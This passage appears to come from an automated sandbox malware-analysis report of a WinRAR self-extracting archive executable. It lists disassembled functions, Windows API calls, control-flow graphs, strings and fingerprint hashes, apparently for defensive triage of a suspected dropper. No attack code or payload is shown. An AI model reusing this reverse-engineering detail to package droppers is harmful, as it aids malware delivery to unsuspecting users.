                                                                                                                                                        • GetCurrentProcess.KERNEL32(00000000,?,00DBEC80,00000000,00DD6F40,0000000C,00DBEDD7,00000000,00000002,00000000), ref: 00DBECCB
                                                                                                                                                        • TerminateProcess.KERNEL32(00000000,?,00DBEC80,00000000,00DD6F40,0000000C,00DBEDD7,00000000,00000002,00000000), ref: 00DBECD2
                                                                                                                                                        • ExitProcess.KERNEL32 ref: 00DBECE4
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Process$CurrentExitTerminate
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1703294689-0
                                                                                                                                                        • Opcode ID: 8a76365e08c3c5660b5247a8baee7d1d27ac220537474d5362c4c723f35efbf4
                                                                                                                                                        • Instruction ID: 1ef0823e2553d3061311858acdd513979e2dcf4ace2a7e7cac462b1f0339fc8a
                                                                                                                                                        • Opcode Fuzzy Hash: 8a76365e08c3c5660b5247a8baee7d1d27ac220537474d5362c4c723f35efbf4
                                                                                                                                                        • Instruction Fuzzy Hash: 50E0BF3101060AEFCF116F56DD09E983F69EF51341B045414F94A9B622CB35DD42EB70
                                                                                                                                                        Function 00DAB76F Relevance: .4, Instructions: 353COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 431132790-0
                                                                                                                                                        • Opcode ID: b3c8a1013df3e8a2a88be91f37c32230b2ba19b7e0df7b1db726f85df614624f
                                                                                                                                                        • Instruction ID: 34bc08fb3e710f89a1c32a83c01109a917f2f4a23c7ebfc47d90924b8cde7ead
                                                                                                                                                        • Opcode Fuzzy Hash: b3c8a1013df3e8a2a88be91f37c32230b2ba19b7e0df7b1db726f85df614624f
                                                                                                                                                        • Instruction Fuzzy Hash: 4AE191715043448FDB24CF28C884B5BBBE1FF89314F08496EE8899B242D774E946CB72
                                                                                                                                                        Function 00DB0900 Relevance: 88.4, APIs: 43, Strings: 7, Instructions: 935windowfilesleepCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_catch_GS.LIBCMT ref: 00DB090A
                                                                                                                                                          • Part of subcall function 00D91E44: GetDlgItem.USER32(00000000,00003021), ref: 00D91E88
                                                                                                                                                          • Part of subcall function 00D91E44: SetWindowTextW.USER32(00000000,00DCC6C8), ref: 00D91E9E
                                                                                                                                                        • EndDialog.USER32(?,00000000), ref: 00DB0A18
                                                                                                                                                        • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DB0A57
                                                                                                                                                        • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DB0A71
                                                                                                                                                        • IsDialogMessageW.USER32(?,?), ref: 00DB0A84
                                                                                                                                                        • TranslateMessage.USER32(?), ref: 00DB0A92
                                                                                                                                                        • DispatchMessageW.USER32(?), ref: 00DB0A9C
                                                                                                                                                        • EndDialog.USER32(?,00000001), ref: 00DB0ADE
                                                                                                                                                        • GetDlgItem.USER32(?,00000068), ref: 00DB0B04
                                                                                                                                                        • SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00DB0B1F
                                                                                                                                                        • SendMessageW.USER32(00000000,000000C2,00000000,00DCC6C8), ref: 00DB0B32
                                                                                                                                                        • SetFocus.USER32(00000000), ref: 00DB0B39
                                                                                                                                                        • GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00DB0C20
                                                                                                                                                        • GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00DB0C4C
                                                                                                                                                        • GetTickCount.KERNEL32 ref: 00DB0C79
                                                                                                                                                        • GetLastError.KERNEL32(?,00000011), ref: 00DB0CD5
                                                                                                                                                        • GetCommandLineW.KERNEL32 ref: 00DB0DF9
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DB0E06
                                                                                                                                                        • CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,?,winrarsfxmappingfile.tmp,?,00DE5430,00000400,00000001,00000001), ref: 00DB0E85
                                                                                                                                                        • MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 00DB0EA3
                                                                                                                                                        • ShellExecuteExW.SHELL32(0000003C), ref: 00DB0EDC
                                                                                                                                                        • WaitForInputIdle.USER32(?,00002710), ref: 00DB0F0B
                                                                                                                                                        • Sleep.KERNEL32(00000064), ref: 00DB0F25
                                                                                                                                                        • UnmapViewOfFile.KERNEL32(?,?,?,?,?,?,?,00DE5430,00000400), ref: 00DB0F61
                                                                                                                                                        • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00DE5430,00000400), ref: 00DB0F6D
                                                                                                                                                        • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DB1072
                                                                                                                                                          • Part of subcall function 00D91E1F: GetDlgItem.USER32(?,?), ref: 00D91E34
                                                                                                                                                          • Part of subcall function 00D91E1F: ShowWindow.USER32(00000000), ref: 00D91E3B
                                                                                                                                                        • SetDlgItemTextW.USER32(?,00000065,00DCC6C8), ref: 00DB108A
                                                                                                                                                        • GetDlgItem.USER32(?,00000065), ref: 00DB1093
                                                                                                                                                        • GetWindowLongW.USER32(00000000,000000F0), ref: 00DB10A2
                                                                                                                                                        • DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_000206D0,00000000,?), ref: 00DB1422
                                                                                                                                                        • EndDialog.USER32(?,00000001), ref: 00DB1436
                                                                                                                                                        • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00DB10B1
                                                                                                                                                          • Part of subcall function 00DAE265: __EH_prolog3_GS.LIBCMT ref: 00DAE26C
                                                                                                                                                          • Part of subcall function 00DAE265: ShowWindow.USER32(?,00000000,00000038), ref: 00DAE294
                                                                                                                                                          • Part of subcall function 00DAE265: GetWindowRect.USER32(?,?), ref: 00DAE2D8
                                                                                                                                                          • Part of subcall function 00DAE265: ShowWindow.USER32(?,00000005,?,00000000), ref: 00DAE373
                                                                                                                                                        • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DB114F
                                                                                                                                                        • SendMessageW.USER32(?,00000080,00000001,000103D7), ref: 00DB1284
                                                                                                                                                        • SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,03050D70), ref: 00DB129D
                                                                                                                                                        • GetDlgItem.USER32(?,00000068), ref: 00DB12A6
                                                                                                                                                        • SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00DB12BE
                                                                                                                                                        • GetDlgItem.USER32(?,00000066), ref: 00DB12E6
                                                                                                                                                        • SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00DB135D
                                                                                                                                                        • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DB1371
                                                                                                                                                        • EnableWindow.USER32(?,00000000), ref: 00DB15A7
                                                                                                                                                        • SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00DB15E8
                                                                                                                                                        • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DB160D
                                                                                                                                                          • Part of subcall function 00DB1D4F: __EH_prolog3_GS.LIBCMT ref: 00DB1D59
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Item$Message$TextWindow$Send$Dialog$ErrorFileLastShow$H_prolog3_LongView$CloseCommandCountCreateDispatchEnableExecuteFocusH_prolog3_catch_HandleIdleInputLineMappingParamRectShellSleepTickTranslateUnmapWait_wcslen
                                                                                                                                                        • String ID: -el -s2 "-d%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_$winrarsfxmappingfile.tmp
                                                                                                                                                        • API String ID: 3616063595-3000381960
                                                                                                                                                        • Opcode ID: 573d40199d821899325f5ad7d8bb8954cedfdebec091a54664a349d99dbffd36
                                                                                                                                                        • Instruction ID: 6c76c84cf421e93a1bfec8235ce5beac591c3851b8bb4df0dc4fcf4dd1116fd4
                                                                                                                                                        • Opcode Fuzzy Hash: 573d40199d821899325f5ad7d8bb8954cedfdebec091a54664a349d99dbffd36
                                                                                                                                                        • Instruction Fuzzy Hash: 6D72A070944389EEEF21EBA4DC89FEE7BB8EB05344F444059F106AB292D7B45A45CB31
                                                                                                                                                        Function 00DA6D7B Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 394libraryfileloaderCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 379 da6d7b-da6dd1 call db5b20 GetModuleHandleW 382 da6e28-da708c 379->382 383 da6dd3-da6de3 GetProcAddress 379->383 384 da719b 382->384 385 da7092-da709d call dbe50e 382->385 386 da6dfd-da6e0d GetProcAddress 383->386 387 da6de5-da6dfb 383->387 389 da719d-da71be call da13f9 call da2117 384->389 385->384 396 da70a3-da70b8 call da13f9 385->396 386->382 388 da6e0f-da6e24 386->388 387->386 388->382 402 da71c0-da71cc call da067e 389->402 403 da70ba 396->403 404 da70bd-da70d5 CreateFileW 396->404 413 da71ce-da71dc call da6c5e 402->413 414 da7203-da7234 call d914a7 call da229d call d91a66 call d9ed1f 402->414 403->404 406 da70db-da70e7 SetFilePointer 404->406 407 da7186-da7199 CloseHandle call d91a66 404->407 406->407 410 da70ed-da7107 ReadFile 406->410 407->389 410->407 411 da7109-da7114 410->411 416 da711a-da714d call d914a7 411->416 417 da73f2-da73f7 call db5ce1 411->417 413->414 426 da71de-da7201 CompareStringW 413->426 443 da7239-da723c 414->443 428 da7161-da7174 call da6366 416->428 426->414 429 da723e-da7242 426->429 437 da714f-da7156 428->437 438 da7176-da7181 call d91a66 * 2 428->438 429->402 432 da7248 429->432 435 da724c-da7250 432->435 439 da7252 435->439 440 da7296-da7298 435->440 441 da715b-da715c call da6c5e 437->441 442 da7158 437->442 438->407 447 da7254-da728a call d914a7 call da229d call d91a66 call d9ed1f 439->447 444 da729e-da72b1 call da2187 call da067e 440->444 445 da73bd-da73ef call d91a66 * 2 call db5734 440->445 441->428 442->441 443->429 449 da724a 443->449 466 da7332-da7366 call da6a25 AllocConsole 444->466 467 da72b3-da7330 call da6c5e * 2 call da4318 call da6a25 call da4318 call d914a7 call daecf5 call d91549 444->467 481 da728c-da7290 447->481 482 da7294 447->482 449->435 476 da7368-da73a7 GetCurrentProcessId AttachConsole call da7441 call da7436 GetStdHandle WriteConsoleW Sleep FreeConsole 466->476 477 da73ad 466->477 483 da73b0-da73b7 call d91549 ExitProcess 467->483 476->477 477->483 481->447 486 da7292 481->486 482->440 486->440
                                                                                                                                                        APIs
                                                                                                                                                        • GetModuleHandleW.KERNEL32(kernel32,D8943D1D), ref: 00DA6DC7
                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00DA6DD9
                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00DA6E03
                                                                                                                                                        • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DA70CA
                                                                                                                                                        • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00DA70DF
                                                                                                                                                        • ReadFile.KERNEL32(00000000,?,00007FFE,?,00000000), ref: 00DA70FF
                                                                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00DA7187
                                                                                                                                                        • CompareStringW.KERNEL32(00000400,00001001,?,000000FF,DXGIDebug.dll,000000FF,?,?,?), ref: 00DA71F8
                                                                                                                                                        • AllocConsole.KERNEL32 ref: 00DA735E
                                                                                                                                                        • GetCurrentProcessId.KERNEL32 ref: 00DA7368
                                                                                                                                                        • AttachConsole.KERNEL32(00000000), ref: 00DA736F
                                                                                                                                                        • GetStdHandle.KERNEL32(000000F4,00000000,00000000,?,00000000), ref: 00DA738F
                                                                                                                                                        • WriteConsoleW.KERNEL32(00000000), ref: 00DA7396
                                                                                                                                                        • Sleep.KERNEL32(00002710), ref: 00DA73A1
                                                                                                                                                        • FreeConsole.KERNEL32 ref: 00DA73A7
                                                                                                                                                        • ExitProcess.KERNEL32 ref: 00DA73B7
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Console$FileHandle$AddressProcProcess$AllocAttachCloseCompareCreateCurrentExitFreeModulePointerReadSleepStringWrite
                                                                                                                                                        • String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
                                                                                                                                                        • API String ID: 2644799563-3298887752
                                                                                                                                                        • Opcode ID: 6f1b14bd4e6e3f00e31ed6b1166c3e6cb8fb76d8e9d7ca648b6aaca493c3adbf
                                                                                                                                                        • Instruction ID: 69ba458bab0c3e1c89e22c16f3c6093fe70b9d0bf98fb9e0317bab12a22af3d7
                                                                                                                                                        • Opcode Fuzzy Hash: 6f1b14bd4e6e3f00e31ed6b1166c3e6cb8fb76d8e9d7ca648b6aaca493c3adbf
                                                                                                                                                        • Instruction Fuzzy Hash: DEF14B7141428A9BCF24DFA4CC49FDE7BAABF06304F54412DFA099B281DB709649CB75
                                                                                                                                                        Function 00DB3572 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 106windowCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DB0678: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DB0689
                                                                                                                                                          • Part of subcall function 00DB0678: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DB069A
                                                                                                                                                          • Part of subcall function 00DB0678: IsDialogMessageW.USER32(000103E4,?), ref: 00DB06AE
                                                                                                                                                          • Part of subcall function 00DB0678: TranslateMessage.USER32(?), ref: 00DB06BC
                                                                                                                                                          • Part of subcall function 00DB0678: DispatchMessageW.USER32(?), ref: 00DB06C6
                                                                                                                                                        • GetDlgItem.USER32(00000068,00000000), ref: 00DB3595
                                                                                                                                                        • ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,00DAFD20,00000001,?,?), ref: 00DB35BA
                                                                                                                                                        • SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00DB35C9
                                                                                                                                                        • SendMessageW.USER32(00000000,000000C2,00000000,00DCC6C8), ref: 00DB35D7
                                                                                                                                                        • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00DB35F1
                                                                                                                                                        • SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00DB360B
                                                                                                                                                        • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00DB364F
                                                                                                                                                        • SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00DB3662
                                                                                                                                                        • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00DB3675
                                                                                                                                                        • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00DB369C
                                                                                                                                                        • SendMessageW.USER32(00000000,000000C2,00000000,00DCC860), ref: 00DB36AB
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
                                                                                                                                                        • String ID: \
                                                                                                                                                        • API String ID: 3569833718-2967466578
                                                                                                                                                        • Opcode ID: 2670dc8e8c893454b3a818f7e00a20a3962ea81c27c4875ccde0b45f7788ef8f
                                                                                                                                                        • Instruction ID: e52dd20ccab482aeef91d2a989885bae15a93312ccfd487627008f3848f66b48
                                                                                                                                                        • Opcode Fuzzy Hash: 2670dc8e8c893454b3a818f7e00a20a3962ea81c27c4875ccde0b45f7788ef8f
                                                                                                                                                        • Instruction Fuzzy Hash: AD31D471249780BFE310AF24DC89FAB7BECEF55705F400519F951DA2A0D76099058BB6
                                                                                                                                                        Function 00DB38A0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 291windowCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 632 db38a0-db38bc call db57d8 635 db38c2-db38c8 632->635 636 db3bc7-db3bd4 call d91a66 call db5787 632->636 635->636 637 db38ce-db38f4 call db71f0 635->637 644 db38fd-db3909 637->644 645 db38f6 637->645 646 db390b 644->646 647 db390d-db3916 644->647 645->644 646->647 648 db3918-db391b 647->648 649 db3924-db3927 647->649 650 db391f-db3922 648->650 651 db391d 648->651 652 db392b-db3935 649->652 653 db3929 649->653 650->652 651->650 654 db393b-db3948 652->654 655 db39ce 652->655 653->652 656 db394a 654->656 657 db394c-db3956 654->657 658 db39d1-db39d3 655->658 656->657 659 db3958 657->659 660 db398c-db3999 657->660 661 db39dc-db39de 658->661 662 db39d5-db39da 658->662 667 db396f-db3972 659->667 665 db399b 660->665 666 db399d-db39a7 660->666 663 db39ff-db3a11 call da1383 661->663 664 db39e0-db39e7 661->664 662->661 662->663 685 db3a29-db3a64 call d914a7 call d9ed0d call d91a66 663->685 686 db3a13-db3a20 call da8da4 663->686 664->663 670 db39e9-db39f5 664->670 665->666 672 db39ad-db39b2 666->672 673 db3bd7-db3bdd 666->673 668 db395a-db395f 667->668 669 db3974 667->669 681 db3963-db396d 668->681 682 db3961 668->682 669->660 674 db39fc 670->674 675 db39f7 670->675 679 db39b6-db39bc 672->679 680 db39b4 672->680 676 db3bdf 673->676 677 db3be1-db3be8 673->677 674->663 675->674 676->677 683 db3bea-db3bf0 677->683 684 db3c00-db3c06 677->684 679->673 687 db39c2-db39c5 679->687 680->679 681->667 688 db3976-db397b 681->688 682->681 691 db3bf2 683->691 692 db3bf4-db3bfd 683->692 694 db3c0a-db3c14 684->694 695 db3c08 684->695 705 db3a9d-db3aac ShellExecuteExW 685->705 706 db3a66-db3a95 call d914a7 call da0e49 call d91a66 685->706 686->685 700 db3a22 686->700 687->654 696 db39cb 687->696 689 db397f-db3989 688->689 690 db397d 688->690 689->660 690->689 691->692 692->684 694->658 695->694 696->655 700->685 708 db3b7c-db3b82 705->708 709 db3ab2-db3abc 705->709 741 db3a9a 706->741 742 db3a97 706->742 711 db3bb7-db3bc3 708->711 712 db3b84-db3b99 708->712 713 db3aca-db3acc 709->713 714 db3abe-db3ac0 709->714 711->636 718 db3b9b-db3bab call d919a9 712->718 719 db3bae-db3bb6 call db5726 712->719 715 db3ace-db3ad7 IsWindowVisible 713->715 716 db3ae5-db3af6 WaitForInputIdle call db3fcf 713->716 714->713 720 db3ac2-db3ac8 714->720 715->716 721 db3ad9-db3ae3 ShowWindow 715->721 727 db3afb-db3b02 716->727 718->719 719->711 720->713 726 db3b30-db3b3b CloseHandle 720->726 721->716 730 db3b3d-db3b4a call da8da4 726->730 731 db3b4c-db3b53 726->731 727->726 733 db3b04-db3b06 727->733 730->731 736 db3b6b-db3b6d 730->736 731->736 737 db3b55-db3b57 731->737 733->726 740 db3b08-db3b17 GetExitCodeProcess 733->740 736->708 739 db3b6f-db3b71 736->739 737->736 738 db3b59-db3b5f 737->738 738->736 744 db3b61 738->744 739->708 745 db3b73-db3b76 ShowWindow 739->745 740->726 746 db3b19-db3b22 740->746 741->705 742->741 744->736 745->708 747 db3b29 746->747 748 db3b24 746->748 747->726 748->747
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00DB38A7
                                                                                                                                                        • ShellExecuteExW.SHELL32(?), ref: 00DB3AA4
                                                                                                                                                        • IsWindowVisible.USER32(?), ref: 00DB3ACF
                                                                                                                                                        • ShowWindow.USER32(?,00000000), ref: 00DB3ADD
                                                                                                                                                        • WaitForInputIdle.USER32(?,000007D0), ref: 00DB3AED
                                                                                                                                                        • GetExitCodeProcess.KERNEL32(?,?), ref: 00DB3B0F
                                                                                                                                                        • CloseHandle.KERNEL32(?), ref: 00DB3B33
                                                                                                                                                        • ShowWindow.USER32(?,00000001), ref: 00DB3B76
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Window$Show$CloseCodeExecuteExitH_prolog3_HandleIdleInputProcessShellVisibleWait
                                                                                                                                                        • String ID: .exe$.inf
                                                                                                                                                        • API String ID: 3208621885-3750412487
                                                                                                                                                        • Opcode ID: 26d41fcb1bb2448d90eba0848683863dbb9619ff83a093ee2a87653868356fd3
                                                                                                                                                        • Instruction ID: 2f6928a3b4c4a8de4ff29c4f7fff4e0cf5ddff364b16cc6fdc276779ff485f28
                                                                                                                                                        • Opcode Fuzzy Hash: 26d41fcb1bb2448d90eba0848683863dbb9619ff83a093ee2a87653868356fd3
                                                                                                                                                        • Instruction Fuzzy Hash: E8B1AB30A00258DFCF21DF68D885BEDB7B5EF44300F288119E846EB294DB70AE45AB70
                                                                                                                                                        Function 00DB3EFC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1052 db3efc-db3f11 call db57d8 1055 db3f13 1052->1055 1056 db3f15-db3f45 SetEnvironmentVariableW call da6366 1052->1056 1055->1056 1058 db3f4a-db3f4c 1056->1058 1059 db3f4e 1058->1059 1060 db3f8c-db3f92 1058->1060 1063 db3f51-db3f57 1059->1063 1061 db3fc7-db3fcc call db5787 1060->1061 1062 db3f94-db3fa9 1060->1062 1065 db3fab-db3fbb call d919a9 1062->1065 1066 db3fbe-db3fc6 call db5726 1062->1066 1067 db3f5b-db3f67 call da6624 1063->1067 1068 db3f59 1063->1068 1065->1066 1066->1061 1076 db3f69-db3f70 1067->1076 1077 db3f72-db3f76 1067->1077 1068->1067 1076->1063 1078 db3f7a-db3f86 SetEnvironmentVariableW 1077->1078 1079 db3f78 1077->1079 1078->1060 1079->1078
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00DB3F03
                                                                                                                                                        • SetEnvironmentVariableW.KERNELBASE(sfxcmd,?,?,?,?,?,?,00000028), ref: 00DB3F1B
                                                                                                                                                        • SetEnvironmentVariableW.KERNEL32(sfxpar,?,?,?,?,?,?,?,00000028), ref: 00DB3F86
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: EnvironmentVariable$H_prolog3_
                                                                                                                                                        • String ID: sfxcmd$sfxpar
                                                                                                                                                        • API String ID: 3605364767-3493335439
                                                                                                                                                        • Opcode ID: 7a461c4f4ade73c6263016b22bae3f27fcac17b72e451c438c9d4d510cca159f
                                                                                                                                                        • Instruction ID: 3b7a9352fd526c546ab4ffd815d346387bf8e294aaf289afaf66dd3bec05908f
                                                                                                                                                        • Opcode Fuzzy Hash: 7a461c4f4ade73c6263016b22bae3f27fcac17b72e451c438c9d4d510cca159f
                                                                                                                                                        • Instruction Fuzzy Hash: 7F21F370E10209DFCF14DFA8E985AEDB7F9EF09340B54441AF446A7240DB30AA49CB75
                                                                                                                                                        Function 00D9E180 Relevance: 7.7, APIs: 5, Instructions: 183filetimeCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

